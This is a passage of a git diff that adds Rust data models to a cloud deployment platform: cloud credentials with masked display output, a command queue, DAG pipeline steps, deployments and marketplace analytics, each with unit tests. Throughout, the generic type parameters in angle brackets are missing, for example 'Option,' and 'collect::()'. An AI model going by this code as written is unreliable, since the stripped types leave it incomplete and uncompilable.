Option, + pub created_at: DateTime, + pub updated_at: DateTime, +} + +impl std::fmt::Debug for Cloud { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + f.debug_struct("Cloud") + .field("id", &self.id) + .field("user_id", &self.user_id) + .field("name", &self.name) + .field("provider", &self.provider) + .field("cloud_token", &"[REDACTED]") + .field("cloud_key", &"[REDACTED]") + .field("cloud_secret", &"[REDACTED]") + .field("save_token", &self.save_token) + .field("created_at", &self.created_at) + .field("updated_at", &self.updated_at) + .finish() + } +} + +fn mask_string(s: Option<&String>) -> String { + match s { + Some(val) => val.chars().take(4).collect::() + "****", + None => "".to_string(), + } +} + +impl std::fmt::Display for Cloud { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + let cloud_key = mask_string(self.cloud_key.as_ref()); + let cloud_token = mask_string(self.cloud_token.as_ref()); + let cloud_secret = mask_string(self.cloud_secret.as_ref()); + + write!( + f, + "{} cloud creds: cloud_key : {} cloud_token: {} cloud_secret: {}", + self.provider, cloud_key, cloud_token, cloud_secret, + ) + } +} + +impl Cloud { + pub fn new( + user_id: String, + name: String, + provider: String, + cloud_token: Option, + cloud_key: Option, + cloud_secret: Option, + save_token: Option, + ) -> Self { + Self { + id: 0, + user_id, + name, + provider, + cloud_token, + cloud_key, + cloud_secret, + save_token, + created_at: Utc::now(), + updated_at: Utc::now(), + } + } +} + +impl Default for Cloud { + fn default() -> Self { + Cloud { + id: 0, + name: "".to_string(), + provider: "".to_string(), + user_id: "".to_string(), + cloud_key: Default::default(), + cloud_token: Default::default(), + cloud_secret: Default::default(), + save_token: Some(false), + created_at: Default::default(), + updated_at: Default::default(), + } + } +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn test_mask_string_some() { + assert_eq!(mask_string(Some(&"abcdefgh".to_string())), "abcd****"); + } + + #[test] + fn test_mask_string_short() { + assert_eq!(mask_string(Some(&"ab".to_string())), "ab****"); + } + + #[test] + fn test_mask_string_none() { + assert_eq!(mask_string(None), ""); + } + + #[test] + fn test_mask_string_empty() { + assert_eq!(mask_string(Some(&"".to_string())), "****"); + } + + #[test] + fn test_cloud_display_masks_credentials() { + let cloud = Cloud::new( + "user1".to_string(), + "my-cloud".to_string(), + "aws".to_string(), + Some("token12345".to_string()), + Some("key12345".to_string()), + Some("secret12345".to_string()), + Some(true), + ); + let display = format!("{}", cloud); + assert!(display.contains("aws")); + assert!(display.contains("toke****")); + assert!(display.contains("key1****")); + assert!(display.contains("secr****")); + assert!(!display.contains("token12345")); + assert!(!display.contains("key12345")); + assert!(!display.contains("secret12345")); + } + + #[test] + fn test_cloud_display_none_credentials() { + let cloud = Cloud::default(); + let display = format!("{}", cloud); + assert!(display.contains("cloud_key : ")); + } + + #[test] + fn test_cloud_new() { + let cloud = Cloud::new( + "user1".to_string(), + "test".to_string(), + "hetzner".to_string(), + None, + Some("key".to_string()), + None, + Some(false), + ); + assert_eq!(cloud.id, 0); + assert_eq!(cloud.user_id, "user1"); + assert_eq!(cloud.provider, "hetzner"); + assert!(cloud.cloud_token.is_none()); + assert_eq!(cloud.cloud_key, Some("key".to_string())); + assert!(cloud.cloud_secret.is_none()); + } + + #[test] + fn test_cloud_default() { + let cloud = Cloud::default(); + assert_eq!(cloud.id, 0); + assert_eq!(cloud.provider, ""); + assert_eq!(cloud.save_token, Some(false)); + } + + #[test] + fn test_cloud_serialization() { + let cloud = Cloud::new( + "u1".to_string(), + "c".to_string(), + "do".to_string(), + Some("tok".to_string()), + None, + None, + None, + ); + let json = serde_json::to_string(&cloud).unwrap(); + let deserialized: Cloud = serde_json::from_str(&json).unwrap(); + assert_eq!(cloud, deserialized); + } +} diff --git a/stacker/stacker/src/models/command.rs b/stacker/stacker/src/models/command.rs new file mode 100644 index 0000000..6101667 --- /dev/null +++ b/stacker/stacker/src/models/command.rs @@ -0,0 +1,459 @@ +use serde::{Deserialize, Serialize}; +use sqlx::types::chrono::{DateTime, Utc}; +use sqlx::types::uuid::Uuid; +use sqlx::types::JsonValue; + +/// Command status enum matching the database CHECK constraint +#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize, sqlx::Type)] +#[sqlx(type_name = "text")] +pub enum CommandStatus { + #[serde(rename = "queued")] + Queued, + #[serde(rename = "sent")] + Sent, + #[serde(rename = "executing")] + Executing, + #[serde(rename = "completed")] + Completed, + #[serde(rename = "failed")] + Failed, + #[serde(rename = "cancelled")] + Cancelled, +} + +impl std::fmt::Display for CommandStatus { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + match self { + CommandStatus::Queued => write!(f, "queued"), + CommandStatus::Sent => write!(f, "sent"), + CommandStatus::Executing => write!(f, "executing"), + CommandStatus::Completed => write!(f, "completed"), + CommandStatus::Failed => write!(f, "failed"), + CommandStatus::Cancelled => write!(f, "cancelled"), + } + } +} + +/// Command priority enum matching the database CHECK constraint +#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize, sqlx::Type)] +#[sqlx(type_name = "text")] +pub enum CommandPriority { + #[serde(rename = "low")] + Low, + #[serde(rename = "normal")] + Normal, + #[serde(rename = "high")] + High, + #[serde(rename = "critical")] + Critical, +} + +impl CommandPriority { + /// Convert priority to integer for queue ordering + pub fn to_int(&self) -> i32 { + match self { + CommandPriority::Low => 0, + CommandPriority::Normal => 1, + CommandPriority::High => 2, + CommandPriority::Critical => 3, + } + } +} + +impl std::fmt::Display for CommandPriority { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + match self { + CommandPriority::Low => write!(f, "low"), + CommandPriority::Normal => write!(f, "normal"), + CommandPriority::High => write!(f, "high"), + CommandPriority::Critical => write!(f, "critical"), + } + } +} + +/// Command model representing a command to be executed on an agent +#[derive(Debug, Clone, Serialize, Deserialize, sqlx::FromRow, Default)] +pub struct Command { + pub id: Uuid, + pub command_id: String, + pub deployment_hash: String, + pub r#type: String, + pub status: String, + pub priority: String, + pub parameters: Option, + pub result: Option, + pub error: Option, + pub created_by: String, + pub created_at: DateTime, + pub updated_at: DateTime, + pub timeout_seconds: Option, + pub metadata: Option, +} + +impl Command { + /// Create a new command with defaults + pub fn new( + command_id: String, + deployment_hash: String, + command_type: String, + created_by: String, + ) -> Self { + Self { + id: Uuid::new_v4(), + command_id, + deployment_hash, + r#type: command_type, + status: CommandStatus::Queued.to_string(), + priority: CommandPriority::Normal.to_string(), + parameters: None, + result: None, + error: None, + created_by, + created_at: Utc::now(), + updated_at: Utc::now(), + timeout_seconds: Some(300), // Default 5 minutes + metadata: None, + } + } + + /// Builder: Set priority + pub fn with_priority(mut self, priority: CommandPriority) -> Self { + self.priority = priority.to_string(); + self + } + + /// Builder: Set parameters + pub fn with_parameters(mut self, parameters: JsonValue) -> Self { + self.parameters = Some(parameters); + self + } + + /// Builder: Set timeout in seconds + pub fn with_timeout(mut self, seconds: i32) -> Self { + self.timeout_seconds = Some(seconds); + self + } + + /// Builder: Set metadata + pub fn with_metadata(mut self, metadata: JsonValue) -> Self { + self.metadata = Some(metadata); + self + } + + /// Mark command as sent + pub fn mark_sent(mut self) -> Self { + self.status = CommandStatus::Sent.to_string(); + self.updated_at = Utc::now(); + self + } + + /// Mark command as executing + pub fn mark_executing(mut self) -> Self { + self.status = CommandStatus::Executing.to_string(); + self.updated_at = Utc::now(); + self + } + + /// Mark command as completed + pub fn mark_completed(mut self) -> Self { + self.status = CommandStatus::Completed.to_string(); + self.updated_at = Utc::now(); + self + } + + /// Mark command as failed + pub fn mark_failed(mut self) -> Self { + self.status = CommandStatus::Failed.to_string(); + self.updated_at = Utc::now(); + self + } + + /// Mark command as cancelled + pub fn mark_cancelled(mut self) -> Self { + self.status = CommandStatus::Cancelled.to_string(); + self.updated_at = Utc::now(); + self + } +} + +/// Command result payload from agent +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct CommandResult { + pub command_id: String, + pub deployment_hash: String, + pub status: CommandStatus, + pub result: Option, + pub error: Option, + pub metadata: Option, +} + +/// Command error details +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct CommandError { + pub code: String, + pub message: String, + pub details: Option, +} + +/// Command queue entry for efficient polling +#[derive(Debug, Clone, Serialize, Deserialize, sqlx::FromRow)] +pub struct CommandQueueEntry { + pub command_id: String, + pub deployment_hash: String, + pub priority: i32, + pub created_at: DateTime, +} + +#[cfg(test)] +mod tests { + use super::*; + + // CommandStatus tests + #[test] + fn test_command_status_display() { + assert_eq!(CommandStatus::Queued.to_string(), "queued"); + assert_eq!(CommandStatus::Sent.to_string(), "sent"); + assert_eq!(CommandStatus::Executing.to_string(), "executing"); + assert_eq!(CommandStatus::Completed.to_string(), "completed"); + assert_eq!(CommandStatus::Failed.to_string(), "failed"); + assert_eq!(CommandStatus::Cancelled.to_string(), "cancelled"); + } + + #[test] + fn test_command_status_serde() { + let json = serde_json::to_string(&CommandStatus::Queued).unwrap(); + assert_eq!(json, "\"queued\""); + let deserialized: CommandStatus = serde_json::from_str("\"completed\"").unwrap(); + assert_eq!(deserialized, CommandStatus::Completed); + } + + // CommandPriority tests + #[test] + fn test_priority_to_int() { + assert_eq!(CommandPriority::Low.to_int(), 0); + assert_eq!(CommandPriority::Normal.to_int(), 1); + assert_eq!(CommandPriority::High.to_int(), 2); + assert_eq!(CommandPriority::Critical.to_int(), 3); + } + + #[test] + fn test_priority_display() { + assert_eq!(CommandPriority::Low.to_string(), "low"); + assert_eq!(CommandPriority::Normal.to_string(), "normal"); + assert_eq!(CommandPriority::High.to_string(), "high"); + assert_eq!(CommandPriority::Critical.to_string(), "critical"); + } + + #[test] + fn test_priority_serde() { + let json = serde_json::to_string(&CommandPriority::High).unwrap(); + assert_eq!(json, "\"high\""); + let deserialized: CommandPriority = serde_json::from_str("\"low\"").unwrap(); + assert_eq!(deserialized, CommandPriority::Low); + } + + #[test] + fn test_priority_ordering() { + assert!(CommandPriority::Low.to_int() < CommandPriority::Normal.to_int()); + assert!(CommandPriority::Normal.to_int() < CommandPriority::High.to_int()); + assert!(CommandPriority::High.to_int() < CommandPriority::Critical.to_int()); + } + + // Command builder tests + #[test] + fn test_command_new_defaults() { + let cmd = Command::new( + "cmd-1".to_string(), + "hash-abc".to_string(), + "deploy".to_string(), + "admin".to_string(), + ); + assert_eq!(cmd.command_id, "cmd-1"); + assert_eq!(cmd.deployment_hash, "hash-abc"); + assert_eq!(cmd.r#type, "deploy"); + assert_eq!(cmd.created_by, "admin"); + assert_eq!(cmd.status, "queued"); + assert_eq!(cmd.priority, "normal"); + assert_eq!(cmd.timeout_seconds, Some(300)); + assert!(cmd.parameters.is_none()); + assert!(cmd.result.is_none()); + assert!(cmd.error.is_none()); + assert!(cmd.metadata.is_none()); + } + + #[test] + fn test_command_with_priority() { + let cmd = Command::new( + "c".to_string(), + "h".to_string(), + "t".to_string(), + "u".to_string(), + ) + .with_priority(CommandPriority::Critical); + assert_eq!(cmd.priority, "critical"); + } + + #[test] + fn test_command_with_parameters() { + let params = serde_json::json!({"key": "value"}); + let cmd = Command::new( + "c".to_string(), + "h".to_string(), + "t".to_string(), + "u".to_string(), + ) + .with_parameters(params.clone()); + assert_eq!(cmd.parameters, Some(params)); + } + + #[test] + fn test_command_with_timeout() { + let cmd = Command::new( + "c".to_string(), + "h".to_string(), + "t".to_string(), + "u".to_string(), + ) + .with_timeout(600); + assert_eq!(cmd.timeout_seconds, Some(600)); + } + + #[test] + fn test_command_with_metadata() { + let meta = serde_json::json!({"retry_count": 3}); + let cmd = Command::new( + "c".to_string(), + "h".to_string(), + "t".to_string(), + "u".to_string(), + ) + .with_metadata(meta.clone()); + assert_eq!(cmd.metadata, Some(meta)); + } + + #[test] + fn test_command_builder_chaining() { + let cmd = Command::new( + "c".to_string(), + "h".to_string(), + "t".to_string(), + "u".to_string(), + ) + .with_priority(CommandPriority::High) + .with_timeout(120) + .with_parameters(serde_json::json!({"action": "restart"})) + .with_metadata(serde_json::json!({"source": "api"})); + + assert_eq!(cmd.priority, "high"); + assert_eq!(cmd.timeout_seconds, Some(120)); + assert!(cmd.parameters.is_some()); + assert!(cmd.metadata.is_some()); + } + + // Command status transitions + #[test] + fn test_command_mark_sent() { + let cmd = Command::new( + "c".to_string(), + "h".to_string(), + "t".to_string(), + "u".to_string(), + ) + .mark_sent(); + assert_eq!(cmd.status, "sent"); + } + + #[test] + fn test_command_mark_executing() { + let cmd = Command::new( + "c".to_string(), + "h".to_string(), + "t".to_string(), + "u".to_string(), + ) + .mark_executing(); + assert_eq!(cmd.status, "executing"); + } + + #[test] + fn test_command_mark_completed() { + let cmd = Command::new( + "c".to_string(), + "h".to_string(), + "t".to_string(), + "u".to_string(), + ) + .mark_completed(); + assert_eq!(cmd.status, "completed"); + } + + #[test] + fn test_command_mark_failed() { + let cmd = Command::new( + "c".to_string(), + "h".to_string(), + "t".to_string(), + "u".to_string(), + ) + .mark_failed(); + assert_eq!(cmd.status, "failed"); + } + + #[test] + fn test_command_mark_cancelled() { + let cmd = Command::new( + "c".to_string(), + "h".to_string(), + "t".to_string(), + "u".to_string(), + ) + .mark_cancelled(); + assert_eq!(cmd.status, "cancelled"); + } + + #[test] + fn test_command_status_transition_chain() { + let cmd = Command::new( + "c".to_string(), + "h".to_string(), + "t".to_string(), + "u".to_string(), + ); + assert_eq!(cmd.status, "queued"); + let cmd = cmd.mark_sent(); + assert_eq!(cmd.status, "sent"); + let cmd = cmd.mark_executing(); + assert_eq!(cmd.status, "executing"); + let cmd = cmd.mark_completed(); + assert_eq!(cmd.status, "completed"); + } + + // CommandResult and CommandError serde + #[test] + fn test_command_result_deserialization() { + let json = r#"{ + "command_id": "cmd-1", + "deployment_hash": "hash-1", + "status": "completed", + "result": {"output": "success"}, + "error": null, + "metadata": null + }"#; + let result: CommandResult = serde_json::from_str(json).unwrap(); + assert_eq!(result.command_id, "cmd-1"); + assert_eq!(result.status, CommandStatus::Completed); + assert!(result.error.is_none()); + } + + #[test] + fn test_command_error_deserialization() { + let json = r#"{ + "code": "TIMEOUT", + "message": "Command timed out", + "details": {"elapsed_seconds": 300} + }"#; + let error: CommandError = serde_json::from_str(json).unwrap(); + assert_eq!(error.code, "TIMEOUT"); + assert_eq!(error.message, "Command timed out"); + } +} diff --git a/stacker/stacker/src/models/dag.rs b/stacker/stacker/src/models/dag.rs new file mode 100644 index 0000000..0b00b52 --- /dev/null +++ b/stacker/stacker/src/models/dag.rs @@ -0,0 +1,145 @@ +use serde::{Deserialize, Serialize}; +use sqlx::types::chrono::{DateTime, Utc}; +use sqlx::types::uuid::Uuid; +use sqlx::types::JsonValue; + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// DagStep — individual step within a pipe template's DAG +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +#[derive(Debug, Clone, Serialize, Deserialize, sqlx::FromRow)] +pub struct DagStep { + pub id: Uuid, + pub pipe_template_id: Uuid, + pub name: String, + pub step_type: String, + pub step_order: i32, + pub config: JsonValue, + pub created_at: DateTime, + pub updated_at: DateTime, +} + +/// Valid step types for DAG nodes +pub const VALID_STEP_TYPES: &[&str] = &[ + "source", + "transform", + "condition", + "target", + "parallel_split", + "parallel_join", + "ws_source", + "ws_target", + "http_stream_source", + "grpc_source", + "grpc_target", + "cdc_source", + "amqp_source", + "kafka_source", +]; + +impl DagStep { + pub fn new(pipe_template_id: Uuid, name: String, step_type: String, config: JsonValue) -> Self { + Self { + id: Uuid::new_v4(), + pipe_template_id, + name, + step_type, + step_order: 0, + config, + created_at: Utc::now(), + updated_at: Utc::now(), + } + } + + pub fn with_order(mut self, order: i32) -> Self { + self.step_order = order; + self + } +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// DagEdge — directed connection between two steps +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +#[derive(Debug, Clone, Serialize, Deserialize, sqlx::FromRow)] +pub struct DagEdge { + pub id: Uuid, + pub pipe_template_id: Uuid, + pub from_step_id: Uuid, + pub to_step_id: Uuid, + pub condition: Option, + pub created_at: DateTime, +} + +impl DagEdge { + pub fn new(pipe_template_id: Uuid, from_step_id: Uuid, to_step_id: Uuid) -> Self { + Self { + id: Uuid::new_v4(), + pipe_template_id, + from_step_id, + to_step_id, + condition: None, + created_at: Utc::now(), + } + } + + pub fn with_condition(mut self, condition: JsonValue) -> Self { + self.condition = Some(condition); + self + } +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// DagStepExecution — per-step execution tracking +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +#[derive(Debug, Clone, Serialize, Deserialize, sqlx::FromRow)] +pub struct DagStepExecution { + pub id: Uuid, + pub pipe_execution_id: Uuid, + pub step_id: Uuid, + pub status: String, + pub input_data: Option, + pub output_data: Option, + pub error: Option, + pub started_at: Option>, + pub completed_at: Option>, + pub created_at: DateTime, +} + +impl DagStepExecution { + pub fn new(pipe_execution_id: Uuid, step_id: Uuid) -> Self { + Self { + id: Uuid::new_v4(), + pipe_execution_id, + step_id, + status: "pending".to_string(), + input_data: None, + output_data: None, + error: None, + started_at: None, + completed_at: None, + created_at: Utc::now(), + } + } + + pub fn start(mut self) -> Self { + self.status = "running".to_string(); + self.started_at = Some(Utc::now()); + self + } + + pub fn complete_success(mut self, output: JsonValue) -> Self { + self.status = "completed".to_string(); + self.output_data = Some(output); + self.completed_at = Some(Utc::now()); + self + } + + pub fn complete_failure(mut self, error: String) -> Self { + self.status = "failed".to_string(); + self.error = Some(error); + self.completed_at = Some(Utc::now()); + self + } +} diff --git a/stacker/stacker/src/models/deployment.rs b/stacker/stacker/src/models/deployment.rs new file mode 100644 index 0000000..bd9f4f5 --- /dev/null +++ b/stacker/stacker/src/models/deployment.rs @@ -0,0 +1,130 @@ +use chrono::{DateTime, Utc}; +use serde::{Deserialize, Serialize}; +use serde_json::Value; + +// Store user deployment attempts for a specific project +#[derive(Debug, Serialize, Deserialize, Clone)] +pub struct Deployment { + pub id: i32, // id - is a unique identifier for the app project + pub project_id: i32, // external project ID + pub deployment_hash: String, // unique hash for agent identification + pub user_id: Option, // user who created the deployment (nullable in db) + pub deleted: Option, + pub status: String, + pub runtime: String, // container runtime: "runc" or "kata" + pub metadata: Value, // renamed from 'body' to 'metadata' + pub last_seen_at: Option>, // last heartbeat from agent + pub created_at: DateTime, + pub updated_at: DateTime, +} + +impl Deployment { + pub fn new( + project_id: i32, + user_id: Option, + deployment_hash: String, + status: String, + runtime: String, + metadata: Value, + ) -> Self { + Self { + id: 0, + project_id, + deployment_hash, + user_id, + deleted: Some(false), + status, + runtime, + metadata, + last_seen_at: None, + created_at: Utc::now(), + updated_at: Utc::now(), + } + } +} + +impl Default for Deployment { + fn default() -> Self { + Deployment { + id: 0, + project_id: 0, + deployment_hash: String::new(), + user_id: None, + deleted: Some(false), + status: "pending".to_string(), + runtime: "runc".to_string(), + metadata: Value::Null, + last_seen_at: None, + created_at: Utc::now(), + updated_at: Utc::now(), + } + } +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn test_deployment_new() { + let deployment = Deployment::new( + 1, + Some("user1".to_string()), + "hash-abc".to_string(), + "running".to_string(), + "runc".to_string(), + serde_json::json!({"apps": ["nginx"]}), + ); + assert_eq!(deployment.id, 0); + assert_eq!(deployment.project_id, 1); + assert_eq!(deployment.user_id, Some("user1".to_string())); + assert_eq!(deployment.deployment_hash, "hash-abc"); + assert_eq!(deployment.status, "running"); + assert_eq!(deployment.runtime, "runc"); + assert_eq!(deployment.deleted, Some(false)); + assert!(deployment.last_seen_at.is_none()); + } + + #[test] + fn test_deployment_new_no_user() { + let deployment = Deployment::new( + 2, + None, + "hash-xyz".to_string(), + "pending".to_string(), + "runc".to_string(), + Value::Null, + ); + assert!(deployment.user_id.is_none()); + } + + #[test] + fn test_deployment_default() { + let deployment = Deployment::default(); + assert_eq!(deployment.id, 0); + assert_eq!(deployment.project_id, 0); + assert_eq!(deployment.deployment_hash, ""); + assert!(deployment.user_id.is_none()); + assert_eq!(deployment.deleted, Some(false)); + assert_eq!(deployment.status, "pending"); + assert_eq!(deployment.runtime, "runc"); + assert_eq!(deployment.metadata, Value::Null); + } + + #[test] + fn test_deployment_serialization() { + let deployment = Deployment::new( + 1, + Some("user1".to_string()), + "test-hash".to_string(), + "active".to_string(), + "kata".to_string(), + serde_json::json!({}), + ); + let json = serde_json::to_string(&deployment).unwrap(); + let deserialized: Deployment = serde_json::from_str(&json).unwrap(); + assert_eq!(deserialized.project_id, 1); + assert_eq!(deserialized.deployment_hash, "test-hash"); + assert_eq!(deserialized.status, "active"); + } +} diff --git a/stacker/stacker/src/models/marketplace.rs b/stacker/stacker/src/models/marketplace.rs new file mode 100644 index 0000000..9ffb2c5 --- /dev/null +++ b/stacker/stacker/src/models/marketplace.rs @@ -0,0 +1,322 @@ +use chrono::{DateTime, Utc}; +use serde_derive::{Deserialize, Serialize}; +use uuid::Uuid; + +#[derive(Debug, Clone, PartialEq, Serialize, Deserialize, Default, sqlx::FromRow)] +pub struct StackCategory { + pub id: i32, + pub name: String, + pub title: Option, + pub metadata: Option, +} + +#[derive(Debug, Clone, PartialEq, Serialize, Deserialize, Default, sqlx::FromRow)] +pub struct StackTemplate { + pub id: Uuid, + pub creator_user_id: String, + pub creator_name: Option, + pub name: String, + pub slug: String, + pub short_description: Option, + pub long_description: Option, + pub category_code: Option, + pub product_id: Option, + pub tags: serde_json::Value, + pub tech_stack: serde_json::Value, + pub status: String, + pub is_configurable: Option, + pub view_count: Option, + pub deploy_count: Option, + pub required_plan_name: Option, + pub price: Option, + pub billing_cycle: Option, + pub currency: Option, + pub created_at: Option>, + pub updated_at: Option>, + pub approved_at: Option>, + pub verifications: serde_json::Value, + pub infrastructure_requirements: serde_json::Value, + pub public_ports: Option, + pub vendor_url: Option, + #[serde(skip_serializing_if = "Option::is_none")] + #[sqlx(default)] + pub version: Option, + #[serde(skip_serializing_if = "Option::is_none")] + #[sqlx(default)] + pub changelog: Option, + #[serde(default)] + #[sqlx(default)] + pub config_files: serde_json::Value, + #[serde(default)] + #[sqlx(default)] + pub assets: serde_json::Value, + #[serde(default)] + #[sqlx(default)] + pub seed_jobs: serde_json::Value, + #[serde(default)] + #[sqlx(default)] + pub post_deploy_hooks: serde_json::Value, + #[serde(skip_serializing_if = "Option::is_none")] + #[sqlx(default)] + pub update_mode_capabilities: Option, +} + +#[derive(Debug, Clone, PartialEq, Serialize, Deserialize, Default)] +pub struct InfrastructureRequirements { + #[serde(default, skip_serializing_if = "Vec::is_empty")] + pub supported_clouds: Vec, + #[serde(default, skip_serializing_if = "Vec::is_empty")] + pub supported_os: Vec, + #[serde(skip_serializing_if = "Option::is_none")] + pub min_ram_mb: Option, + #[serde(skip_serializing_if = "Option::is_none")] + pub min_disk_gb: Option, + #[serde(skip_serializing_if = "Option::is_none")] + pub min_cpu_cores: Option, +} + +#[derive(Debug, Clone, PartialEq, Serialize, Deserialize, Default, sqlx::FromRow)] +pub struct StackTemplateVersion { + pub id: Uuid, + pub template_id: Uuid, + pub version: String, + pub stack_definition: serde_json::Value, + #[serde(default)] + pub config_files: serde_json::Value, + pub assets: serde_json::Value, + #[serde(default)] + pub seed_jobs: serde_json::Value, + #[serde(default)] + pub post_deploy_hooks: serde_json::Value, + #[serde(skip_serializing_if = "Option::is_none")] + pub update_mode_capabilities: Option, + pub definition_format: Option, + pub changelog: Option, + pub is_latest: Option, + pub created_at: Option>, +} + +#[derive(Debug, Clone, PartialEq, Serialize, Deserialize, Default)] +pub struct MarketplaceAsset { + pub storage_provider: String, + pub bucket: String, + pub key: String, + pub filename: String, + pub sha256: String, + pub size: i64, + pub content_type: String, + #[serde(skip_serializing_if = "Option::is_none")] + pub mount_path: Option, + #[serde(skip_serializing_if = "Option::is_none")] + pub fetch_target: Option, + #[serde(default)] + pub decompress: bool, + #[serde(default)] + pub executable: bool, + #[serde(default = "default_true")] + pub immutable: bool, +} + +fn default_true() -> bool { + true +} + +#[derive(Debug, Clone, PartialEq, Serialize, Deserialize, Default, sqlx::FromRow)] +pub struct StackTemplateReview { + pub id: Uuid, + pub template_id: Uuid, + pub reviewer_user_id: Option, + pub decision: String, + pub review_reason: Option, + pub security_checklist: Option, + pub submitted_at: Option>, + pub reviewed_at: Option>, +} + +#[derive(Debug, Clone, PartialEq, Serialize, Deserialize, Default, sqlx::FromRow)] +pub struct MarketplaceVendorProfile { + pub creator_user_id: String, + pub verification_status: String, + pub onboarding_status: String, + pub payouts_enabled: bool, + pub payout_provider: Option, + pub payout_account_ref: Option, + pub metadata: serde_json::Value, + pub created_at: Option>, + pub updated_at: Option>, +} + +impl MarketplaceVendorProfile { + pub fn default_for_creator(creator_user_id: &str) -> Self { + Self { + creator_user_id: creator_user_id.to_string(), + verification_status: "unverified".to_string(), + onboarding_status: "not_started".to_string(), + payouts_enabled: false, + payout_provider: None, + payout_account_ref: None, + metadata: serde_json::json!({}), + created_at: None, + updated_at: None, + } + } +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// Analytics Models (TDD: defined for test compilation) +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +/// Marketplace event for analytics tracking +/// Tracks view and deploy events with template_id, user, cloud_provider, timestamp, metadata +/// NOTE: Does NOT include finance fields (no amount, revenue, payout, withdrawal, balance) +#[derive(Debug, Clone, PartialEq, Serialize, Deserialize, sqlx::FromRow)] +pub struct MarketplaceEvent { + pub id: Uuid, + pub template_id: Uuid, + pub event_type: String, // "view" or "deploy" + pub viewer_user_id: Option, + pub deployer_user_id: Option, + pub cloud_provider: Option, + pub occurred_at: DateTime, + pub metadata: serde_json::Value, +} + +/// Vendor analytics response model +/// Contains usage metrics only - NO finance fields +#[derive(Debug, Clone, PartialEq, Serialize, Deserialize)] +#[serde(rename_all = "camelCase")] +pub struct VendorAnalytics { + pub creator_id: String, + pub period: AnalyticsPeriod, + pub summary: AnalyticsSummary, + pub views_series: Vec, + pub deployments_series: Vec, + pub cloud_breakdown: Vec, + pub top_templates: Vec, + pub templates: Vec, +} + +/// Analytics period definition +#[derive(Debug, Clone, PartialEq, Serialize, Deserialize)] +#[serde(rename_all = "camelCase")] +pub struct AnalyticsPeriod { + pub key: String, // "7d", "30d", "90d", "all", "custom" + pub start_date: Option>, + pub end_date: Option>, + pub bucket: String, // "day", "week", "month", "all" +} + +/// Analytics summary metrics +/// NOTE: Does NOT include finance fields (no totalEarnings, revenue, earnings, payout) +#[derive(Debug, Clone, PartialEq, Serialize, Deserialize)] +#[serde(rename_all = "camelCase")] +pub struct AnalyticsSummary { + pub total_views: i64, + pub total_deployments: i64, + pub conversion_rate: f64, + pub published_templates: i32, + pub top_cloud: Option, + pub top_template_id: Option, +} + +/// Time series bucket for views/deployments +#[derive(Debug, Clone, PartialEq, Serialize, Deserialize)] +#[serde(rename_all = "camelCase")] +pub struct SeriesBucket { + pub bucket_start: DateTime, + pub bucket_end: DateTime, + pub count: i64, +} + +/// Cloud provider deployment breakdown +/// NOTE: Does NOT include finance fields (no revenue, earnings) +#[derive(Debug, Clone, PartialEq, Serialize, Deserialize)] +#[serde(rename_all = "camelCase")] +pub struct CloudBreakdown { + pub cloud_provider: String, + pub deployments: i64, + pub percentage: f64, +} + +/// Template performance metrics for top templates +#[derive(Debug, Clone, PartialEq, Serialize, Deserialize)] +#[serde(rename_all = "camelCase")] +pub struct TemplatePerformance { + pub template_id: Uuid, + pub slug: String, + pub name: String, + pub views: i64, + pub deployments: i64, + pub conversion_rate: f64, +} + +/// Template analytics with full details +#[derive(Debug, Clone, PartialEq, Serialize, Deserialize)] +#[serde(rename_all = "camelCase")] +pub struct TemplateAnalytics { + pub template_id: Uuid, + pub creator_user_id: String, + pub slug: String, + pub name: String, + pub status: String, + pub views: i64, + pub deployments: i64, + pub conversion_rate: f64, +} + +#[cfg(test)] +mod tests { + use super::{InfrastructureRequirements, MarketplaceVendorProfile}; + + #[test] + fn infrastructure_requirements_default_is_empty() { + let requirements = InfrastructureRequirements::default(); + + assert!(requirements.supported_clouds.is_empty()); + assert!(requirements.supported_os.is_empty()); + assert_eq!(None, requirements.min_ram_mb); + assert_eq!(None, requirements.min_disk_gb); + assert_eq!(None, requirements.min_cpu_cores); + } + + #[test] + fn infrastructure_requirements_round_trip_serialization() { + let requirements = InfrastructureRequirements { + supported_clouds: vec!["hetzner".to_string(), "aws".to_string()], + supported_os: vec!["ubuntu-22.04".to_string()], + min_ram_mb: Some(2048), + min_disk_gb: Some(20), + min_cpu_cores: Some(2), + }; + + let value = serde_json::to_value(&requirements).expect("serialize requirements"); + let round_trip: InfrastructureRequirements = + serde_json::from_value(value).expect("deserialize requirements"); + + assert_eq!(requirements, round_trip); + } + + #[test] + fn infrastructure_requirements_partial_json_deserializes() { + let requirements: InfrastructureRequirements = + serde_json::from_value(serde_json::json!({ "min_ram_mb": 512 })) + .expect("deserialize partial requirements"); + + assert!(requirements.supported_clouds.is_empty()); + assert!(requirements.supported_os.is_empty()); + assert_eq!(Some(512), requirements.min_ram_mb); + assert_eq!(None, requirements.min_disk_gb); + assert_eq!(None, requirements.min_cpu_cores); + } + + #[test] + fn marketplace_vendor_profile_default_for_creator_is_safe() { + let profile = MarketplaceVendorProfile::default_for_creator("creator-1"); + + assert_eq!("creator-1", profile.creator_user_id); + 